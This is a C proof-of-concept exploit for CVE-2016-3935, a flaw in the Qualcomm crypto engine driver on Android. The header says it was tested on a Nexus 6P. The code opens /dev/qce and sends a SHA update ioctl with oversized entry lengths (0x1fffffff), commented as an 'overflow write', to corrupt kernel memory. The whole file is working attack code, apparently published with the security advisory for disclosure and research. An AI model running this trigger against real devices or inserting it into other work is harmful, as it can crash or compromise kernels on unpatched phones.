/*
https://code.google.com/p/android/issues/detail?id=215263
https://source.android.com/security/bulletin/2016-10-01.html, CVE-2016-3935

Test in nexus6p with fingerpinrt: google/angler/angler:6.0.1/MTC19T/2741993:user/release-keys

Author:  Gengjia Chen, (chengjia4574@gmail.com)
Time: 20161012
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/wireless.h>
#include "qcedev.h"

void test_ioctl(int fd)
{
#define SIZE 128
	int ret, cmd, i;
	char buf[SIZE];
	struct  qcedev_sha_op_req params;
	memset(&params, 0, sizeof(params));

	params.entries = 9;
	params.data_len = SIZE;
	params.authklen = 16;
	params.authkey = &buf[0];
	params.alg = QCEDEV_ALG_AES_CMAC;

	for (i = 0; i < params.entries-1; i++) {
		params.data[i].len = 0x1fffffff;   // overflow write
		params.data[i].vaddr = &buf[0];
	}
	params.data[i].len = SIZE+8;
	params.data[i].vaddr = &buf[0];

	cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
	ret = ioctl(fd, cmd, &params);
	if(ret<0) {
		printf("ioctl fail %s\n",strerror(errno));
		return;
	}
	printf("ioctl ok\n");
}
	int
main(int argc, char *argv[])
{
	char* path = "/dev/qce";
	int fd;
	fd = open(path, O_WRONLY);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_ioctl(fd);
	close(fd);
	return 0;
}
